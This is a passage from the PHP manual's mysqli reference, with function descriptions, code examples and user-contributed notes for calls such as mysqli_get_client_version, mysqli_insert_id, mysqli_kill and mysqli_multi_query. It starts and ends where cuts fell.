    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

See Also

  • Stats description

User Contributed Notes

There are no user contributed notes for this page.
mysqli::get_client_info
mysqli::$client_version
mysqli


Get MySQL client info

mysqli_get_client_stats
mysqli::get_connection_stats
mysqli
PHP Manual

mysqli::$client_version

mysqli_get_client_version

(PHP 5)

mysqli::$client_version -- mysqli_get_client_version — Get MySQL client info

Description

Object oriented style

int $mysqli->client_version;

Procedural style

int mysqli_get_client_version ( mysqli $link )

Returns client version number as an integer.

Return Values

A number that represents the MySQL client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 4.1.0 is returned as 40100.

This is useful to quickly determine the version of the client library to know if some capability exits.

Examples

Example #1 mysqli_get_client_version

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

See Also

  • mysqli_get_client_info() - Returns the MySQL client version as a string
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.
mysqli_get_client_stats
mysqli::get_connection_stats
mysqli


Returns statistics about the client connection

mysqli::$client_version
mysqli::$host_info
mysqli
PHP Manual

mysqli::get_connection_stats

mysqli_get_connection_stats

(PHP 5 >= 5.3.0)

mysqli::get_connection_stats -- mysqli_get_connection_stats — Returns statistics about the client connection

Description

Object oriented style

bool mysqli::get_connection_stats ( void )

Procedural style

array mysqli_get_connection_stats ( mysqli $link )

Returns statistics about the client connection. Available only with mysqlnd.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns an array with connection stats if success, FALSE otherwise.

Examples

Example #1 A mysqli_get_connection_stats() example

<?php
$link = mysqli_connect();
print_r(mysqli_get_connection_stats($link));
?>

The above example will output something similar to:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

See Also

  • Stats description

User Contributed Notes

HockeyInJune 12-Sep-2009 03:13
While this function is only available if you're using the PHP MySQL Native Driver, you can get the same statistics without this function by using the MySQL SHOW STATUS Query.

Use 'SHOW SESSION STATUS;' for statistics about the current MySQL session.

Use 'SHOW GLOBAL STATUS;' for totals since the server was started.

After you have established a connection with the MySQL Server:

<?php
$result = $mysqli->query('SHOW SESSION STATUS;', MYSQLI_USE_RESULT);
while ($row = $result->fetch_assoc()) {
    $array[$row['Variable_name']] = $row['Value'];
}
$result->close();
print_r($array);
?>
mysqli::$client_version
mysqli::$host_info
mysqli


Returns a string representing the type of connection used

mysqli::get_connection_stats
mysqli::$protocol_version
mysqli
PHP Manual

mysqli::$host_info

mysqli_get_host_info

(PHP 5)

mysqli::$host_info -- mysqli_get_host_info — Returns a string representing the type of connection used

Description

Object oriented style

string $mysqli->host_info;

Procedural style

string mysqli_get_host_info ( mysqli $link )

Returns a string describing the connection represented by the link parameter (including the server host name).

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A character string representing the server hostname and the connection type.

Examples

Example #1 $mysqli->host_info example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print host information */
printf("Host info: %s\n", $mysqli->host_info);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print host information */
printf("Host info: %s\n", mysqli_get_host_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Host info: Localhost via UNIX socket

See Also

  • mysqli_get_proto_info() - Returns the version of the MySQL protocol used

User Contributed Notes

There are no user contributed notes for this page.
mysqli::get_connection_stats
mysqli::$protocol_version
mysqli


Returns the version of the MySQL protocol used

mysqli::$host_info
mysqli::$server_info
mysqli
PHP Manual

mysqli::$protocol_version

mysqli_get_proto_info

(PHP 5)

mysqli::$protocol_version -- mysqli_get_proto_info — Returns the version of the MySQL protocol used

Description

Object oriented style

string $mysqli->protocol_version;

Procedural style

int mysqli_get_proto_info ( mysqli $link )

Returns an integer representing the MySQL protocol version used by the connection represented by the link parameter.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns an integer representing the protocol version.

Examples

Example #1 $mysqli->protocol_version example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print protocol version */
printf("Protocol version: %d\n", $mysqli->protocol_version);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print protocol version */
printf("Protocol version: %d\n", mysqli_get_proto_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Protocol version: 10

See Also

  • mysqli_get_host_info() - Returns a string representing the type of connection used

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$host_info
mysqli::$server_info
mysqli


Returns the version of the MySQL server

mysqli::$protocol_version
mysqli::$server_version
mysqli
PHP Manual

mysqli::$server_info

mysqli_get_server_info

(PHP 5)

mysqli::$server_info -- mysqli_get_server_info — Returns the version of the MySQL server

Description

Object oriented style

string $mysqli->server_info;

Procedural style

string mysqli_get_server_info ( mysqli $link )

Returns a string representing the version of the MySQL server that the MySQLi extension is connected to.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A character string representing the server version.

Examples

Example #1 $mysqli->server_info example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %s\n", $mysqli->server_info);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %s\n", mysqli_get_server_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Server version: 4.1.2-alpha-debug

See Also

  • mysqli_get_client_info() - Returns the MySQL client version as a string
  • mysqli_get_client_version() - Get MySQL client info
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$protocol_version
mysqli::$server_version
mysqli


Returns the version of the MySQL server as an integer

mysqli::$server_info
mysqli::get_warnings
mysqli
PHP Manual

mysqli::$server_version

mysqli_get_server_version

(PHP 5)

mysqli::$server_version -- mysqli_get_server_version — Returns the version of the MySQL server as an integer

Description

Object oriented style

int $mysqli->server_version;

Procedural style

int mysqli_get_server_version ( mysqli $link )

The mysqli_get_server_version() function returns the version of the server connected to (represented by the link parameter) as an integer.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An integer representing the server version.

The form of this version number is main_version * 10000 + minor_version * 100 + sub_version (i.e. version 4.1.0 is 40100).

Examples

Example #1 $mysqli->server_version example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %d\n", $mysqli->server_version);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %d\n", mysqli_get_server_version($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Server version: 40102

See Also

  • mysqli_get_client_info() - Returns the MySQL client version as a string
  • mysqli_get_client_version() - Get MySQL client info
  • mysqli_get_server_info() - Returns the version of the MySQL server

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$server_info
mysqli::get_warnings
mysqli


Get result of SHOW WARNINGS

mysqli::$server_version
mysqli::$info
mysqli
PHP Manual

mysqli::get_warnings

mysqli_get_warnings

(PHP 5 >= 5.1.0)

mysqli::get_warnings -- mysqli_get_warnings — Get result of SHOW WARNINGS

Description

Object oriented style

mysqli_warning mysqli::get_warnings ( void )

Procedural style

mysqli_warning mysqli_get_warnings ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

marcus at synchromedia dot co dot uk 19-Aug-2009 02:02
With a bit of rooting about with reflection, I spotted that the mysqli_warning class has a next() function, so I tried calling it and it does indeed progress through the available warnings! Following on from my earlier example:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
$j = mysqli_warning_count($db);
if ($j > 0) {
    $e = mysqli_get_warnings($db);
    for ($i = 0; $i < $j; $i++) {
        var_dump($e);
        $e->next();
    }
}
?>

There is a simple way of traversing the warnings:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
if (mysqli_warning_count($db)) {
   $e = mysqli_get_warnings($db);
   do {
       echo "Warning: $e->errno: $e->message\n";
   } while ($e->next());
}
?>
marcus at synchromedia dot co dot uk 19-Aug-2009 07:13
I'm not sure how useful this function is as implemented. Take this example:

CREATE TABLE `blah` (
  `x` varchar(100) NOT NULL,
  `y` varchar(100) NOT NULL,
  `z` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO blah SET z = '1';
Query OK, 1 row affected, 2 warnings (0.00 sec)

mysql> show warnings;
+---------+------+----------------------------------------+
| Level   | Code | Message                                |
+---------+------+----------------------------------------+
| Warning | 1364 | Field 'x' doesn't have a default value |
| Warning | 1364 | Field 'y' doesn't have a default value |
+---------+------+----------------------------------------+

Doing the same from PHP using mysqli_get_warnings(), you get this instead:

object(mysqli_warning)#4 (3) {
  ["message"]=>
  string(38) "Field 'x' doesn't have a default value"
  ["sqlstate"]=>
  string(5) "HY000"
  ["errno"]=>
  int(1364)
}

i.e. it only returns the first warning. I suspect it should return an array of these objects rather than just one. At least you know what the return value looks like now, since the docs don't say!
mysqli::$server_version
mysqli::$info
mysqli


Retrieves information about the most recently executed query

mysqli::get_warnings
mysqli::init
mysqli
PHP Manual

mysqli::$info

mysqli_info

(PHP 5)

mysqli::$info -- mysqli_info — Retrieves information about the most recently executed query

Description

Object oriented style

string $mysqli->info;

Procedural style

string mysqli_info ( mysqli $link )

The mysqli_info() function returns a string providing information about the last query executed. The nature of this string is provided below:

Possible mysqli_info return values
Query type | Example result string
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

Note:

Queries which do not fall into one of the preceding formats are not supported. In these situations, mysqli_info() will return an empty string.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A character string representing additional information about the most recently executed query.

Examples

Example #1 $mysqli->info example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
$mysqli->query("INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", $mysqli->info);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
mysqli_query($link, "INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", mysqli_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Records: 150  Duplicates: 0  Warnings: 0

See Also

  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysqli_warning_count() - Returns the number of warnings from the last query for the given link
  • mysqli_num_rows() - Gets the number of rows in a result

User Contributed Notes

user at biglake dot com 14-Dec-2010 06:43
Might save someone some time...

<?php
$prototype='Rows matched: 0 Changed: 1 Warnings: 2';
list($matched, $changed, $warnings) = sscanf($prototype, "Rows matched: %d Changed: %d Warnings: %d");
?>
mysqli::get_warnings
mysqli::init
mysqli


Initializes MySQLi and returns a resource for use with mysqli_real_connect()

mysqli::$info
mysqli::$insert_id
mysqli
PHP Manual

mysqli::init

mysqli_init

(PHP 5)

mysqli::init -- mysqli_init — Initializes MySQLi and returns a resource for use with mysqli_real_connect()

Description

Object oriented style

mysqli mysqli::init ( void )

Procedural style

mysqli mysqli_init ( void )

Allocates or initializes a MYSQL object suitable for mysqli_options() and mysqli_real_connect().

Note:

Any subsequent calls to any mysqli function (except mysqli_options()) will fail until mysqli_real_connect() was called.

Return Values

Returns an object.

Examples

See mysqli_real_connect().

See Also

  • mysqli_options() - Set options
  • mysqli_close() - Closes a previously opened database connection
  • mysqli_real_connect() - Opens a connection to a mysql server
  • mysqli_connect() - Alias of mysqli::__construct

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$info
mysqli::$insert_id
mysqli


Returns the auto generated id used in the last query

mysqli::init
mysqli::kill
mysqli
PHP Manual

mysqli::$insert_id

mysqli_insert_id

(PHP 5)

mysqli::$insert_id -- mysqli_insert_id — Returns the auto generated id used in the last query

Description

Object oriented style

mixed $mysqli->insert_id;

Procedural style

mixed mysqli_insert_id ( mysqli $link )

The mysqli_insert_id() function returns the ID generated by a query on a table with a column having the AUTO_INCREMENT attribute. If the last query wasn't an INSERT or UPDATE statement or if the modified table does not have a column with the AUTO_INCREMENT attribute, this function will return zero.

Note:

Performing an INSERT or UPDATE statement using the LAST_INSERT_ID() function will also modify the value returned by the mysqli_insert_id() function.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

The value of the AUTO_INCREMENT field that was updated by the previous query. Returns zero if there was no previous query on the connection or if the query did not update an AUTO_INCREMENT value.

Note:

If the number is greater than maximal int value, mysqli_insert_id() will return a string.

Examples

Example #1 $mysqli->insert_id example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
$mysqli->query($query);

printf ("New Record has id %d.\n", $mysqli->insert_id);

/* drop table */
$mysqli->query("DROP TABLE myCity");

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
mysqli_query($link, $query);

printf ("New Record has id %d.\n", mysqli_insert_id($link));

/* drop table */
mysqli_query($link, "DROP TABLE myCity");

/* close connection */
mysqli_close($link);
?>

The above examples will output:

New Record has id 1.

User Contributed Notes

fizzyorange at gmail dot com 01-Apr-2009 07:27
Note that if you Call a MySQL stored procedure to insert a new record and then reference $db->insert_id; you will get 0 back, not the last inserted ID.

It is therefore necessary to add a line to your MySQL Stored Procedure such as

   select last_insert_id() as intRecordKey;

after the insert so that the query will return the new key value.

Then in your php code you can use the following

<?php
 $objInsertResult = $db->query($strSQL);
 $objInsertRow = $objInsertResult->fetch_object();
 $intRecordKey = $objInsertRow->intRecordKey;
?>

It would however be nice if $db->insert_id did return the last insert ID following a stored procedure call.
bert at nospam thinc dot nl 22-Jul-2008 08:58
Watch out for the oo-style use of $db->insert_id. When the insert_id exceeds 2^31 (2147483648) fetching the insert id renders a wrong, too large number. You better use the procedural mysqli_insert_id( $db ) instead.

[EDIT by danbrown AT php DOT net: This is another prime example of the limits of 32-bit signed integers.]
Nick Baicoianu 04-May-2007 01:10
When running extended inserts on a table with an AUTO_INCREMENT field, the value of mysqli_insert_id() will equal the value of the *first* row inserted, not the last, as you might expect.

<?
//mytable has an auto_increment field
$db->query("INSERT INTO mytable (field1,field2,field3) VALUES ('val1','val2','val3'),
('val1','val2','val3'),
('val1','val2','val3')");

echo $db->insert_id; //will echo the id of the FIRST row inserted
?>
will at phpfever dot com 20-Apr-2006 06:40
I have received many statements that the insert_id property has a bug because it "works sometimes".  Keep in mind that when using the OOP approach, the actual instantiation of the mysqli class will hold the insert_id.

The following code will return nothing.
<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$result->insert_id;
}
?>

This is because the insert_id property doesn't belong to the result, but rather the actual mysqli class.  This would work:

<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$mysqli->insert_id;
}
?>
matix.bg a gmail 14-Mar-2006 02:56
Some people are wondering how to get the ids of the rows inserted with loop. Here is it:

<?php
// stmt_init ...
for (;;;) {
  // do some things...
  $stmt->execute();
  $ids[] = $mysqli->insert_id;
}
?>
alan at commondream dot net 03-Nov-2004 11:44
I was having problems with getting the inserted id, and did a bit of testing. It ended up that if you commit a transaction before getting the last inserted id, it returns 0 every time, but if you get the last inserted id before committing the transaction, you get the correct value.
mysqli::init
mysqli::kill
mysqli


Asks the server to kill a MySQL thread

mysqli::$insert_id
mysqli::more_results
mysqli
PHP Manual

mysqli::kill

mysqli_kill

(PHP 5)

mysqli::kill -- mysqli_kill — Asks the server to kill a MySQL thread

Description

Object oriented style

bool mysqli::kill ( int $processid )

Procedural style

bool mysqli_kill ( mysqli $link , int $processid )

This function is used to ask the server to kill a MySQL thread specified by the processid parameter. This value must be retrieved by calling the mysqli_thread_id() function.

To stop a running query you should use the SQL command KILL QUERY processid.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::kill() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = $mysqli->thread_id;

/* Kill connection */
$mysqli->kill($thread_id);

/* This should produce an error */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = mysqli_thread_id($link);

/* Kill connection */
mysqli_kill($link, $thread_id);

/* This should produce an error */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: MySQL server has gone away

See Also

  • mysqli_thread_id() - Returns the thread ID for the current connection

User Contributed Notes

johnjawed at gmail dot com 02-Dec-2004 01:34
Be careful using this before mysqli::close.

Killing the thread before actually closing the connection will leave the connection open! And depending on your max_connections and max_user_connections (by default the same), this could result in a "Max connections reached for **** user" message.
mysqli::$insert_id
mysqli::more_results
mysqli


Check if there are any more query results from a multi query

mysqli::kill
mysqli::multi_query
mysqli
PHP Manual

mysqli::more_results

mysqli_more_results

(PHP 5)

mysqli::more_results -- mysqli_more_results — Check if there are any more query results from a multi query

Description

Object oriented style

bool mysqli::more_results ( void )

Procedural style

bool mysqli_more_results ( mysqli $link )

Indicates if one or more result sets are available from a previous call to mysqli_multi_query().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

See mysqli_multi_query().

See Also

  • mysqli_multi_query() - Performs a query on the database
  • mysqli_next_result() - Prepare next result from multi_query
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.
mysqli::kill
mysqli::multi_query
mysqli


Performs a query on the database

mysqli::more_results
mysqli::next_result
mysqli
PHP Manual

mysqli::multi_query

mysqli_multi_query

(PHP 5)

mysqli::multi_query -- mysqli_multi_query — Performs a query on the database

Description

Object oriented style

bool mysqli::multi_query ( string $query )

Procedural style

bool mysqli_multi_query ( mysqli $link , string $query )

Executes one or multiple queries which are concatenated by a semicolon.

To retrieve the resultset from the first query you can use mysqli_use_result() or mysqli_store_result(). All subsequent query results can be processed using mysqli_more_results() and mysqli_next_result().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

query

The query, as a string.

Data inside the query should be properly escaped.

Return Values

Returns FALSE if the first statement failed. To retrieve subsequent errors from other statements you have to call mysqli_next_result() first.

Examples

Example #1 mysqli::multi_query() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->free();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
    do {
        /* store first result set */
        if ($result = mysqli_store_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* print divider */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output something similar to:

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

See Also

  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_next_result() - Prepare next result from multi_query
  • mysqli_more_results() - Check if there are any more query results from a multi query

User Contributed Notes

crmccar at gmail dot com 12-Oct-2011 06:40
I'd like to reinforce the correct way of catching errors from the queries executed by multi_query(), since the manual's examples don't show it and it's easy to lose UPDATEs, INSERTs, etc. without knowing it.

$mysqli->next_result() will return false if it runs out of statements OR if the next statement has an error. Therefore, it's important to check for errors when the loop ends. Also, I believe it's useful to know when and where the loop broke, so consider the following code:

<?php
$statements = array("INSERT INTO tablename VALUES ('1', 'one')", "INSERT INTO tablename VALUES ('2', 'two')");
if ($mysqli->multi_query(implode(';', $statements))) {
    $i = 0;
    do {
        $i++;
    } while ($mysqli->next_result());
}
if ($mysqli->errno) {
    echo "Batch execution prematurely ended on statement $i.\n";
    var_dump($statements[$i], $mysqli->error);
}
?>

The IF statement on the multi_query() call checks the first result, because next_result() starts at the second.
lcruz at humansoft dot pt 29-Aug-2011 02:16
Please note that MySQL does not support Transactions on DDL statements.

<?php
$link = mysqli_connect('localhost', 'user', 'pw', 'db');

$script = "INSERT INTO T1('pk', 'val') VALUES('1', 'A');";
$script .= "INSERT INTO T1('pk', 'val') VALUES('2', 'B');"
$script .= "INSERT INTO T1('pk', 'val') VALUES('3', 'C');"
$script .= "ALTER TABLE T1 ADD COLUMN `foo` INT(1) NOT NULL;";
$script .= "UPDATE T1 SET val = 'D' where pkkkkkkkkkkkk = '1'"; // Note that this statement will force a SQL Error since column pkkkkkkkkkkkk doesn't exist

mysqli_autocommit($link, false); // set autocommit to false

mysqli_multi_query($link, $script); // execute statements

mysqli_rollback($link); // rollback all statements
?>

I would expect that the entire set of statements would not occur since the last update would generate an error. However after the code execution you'll see the values on table T1.

I've spent a couple of days to find that this behavior is normal in MySQL since the ALTER TABLE statement automatically commits the transaction. See more in http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html
Anonymous 20-May-2011 07:25
If your second or late query returns no result or even if your query is not a valid SQL query, more_results(); returns true in any case.
jcn50 09-Mar-2011 05:09
WATCH OUT: if you mix $mysqli->multi_query and $mysqli->query, the latter(s) won't be executed!

<?php
// BAD CODE:
$mysqli->multi_query(" Many SQL queries ; "); // OK
$mysqli->query(" SQL statement #1 ; ") // not executed!
$mysqli->query(" SQL statement #2 ; ") // not executed!
$mysqli->query(" SQL statement #3 ; ") // not executed!
$mysqli->query(" SQL statement #4 ; ") // not executed!
?>

The only way to do this correctly is:

<?php
// WORKING CODE:
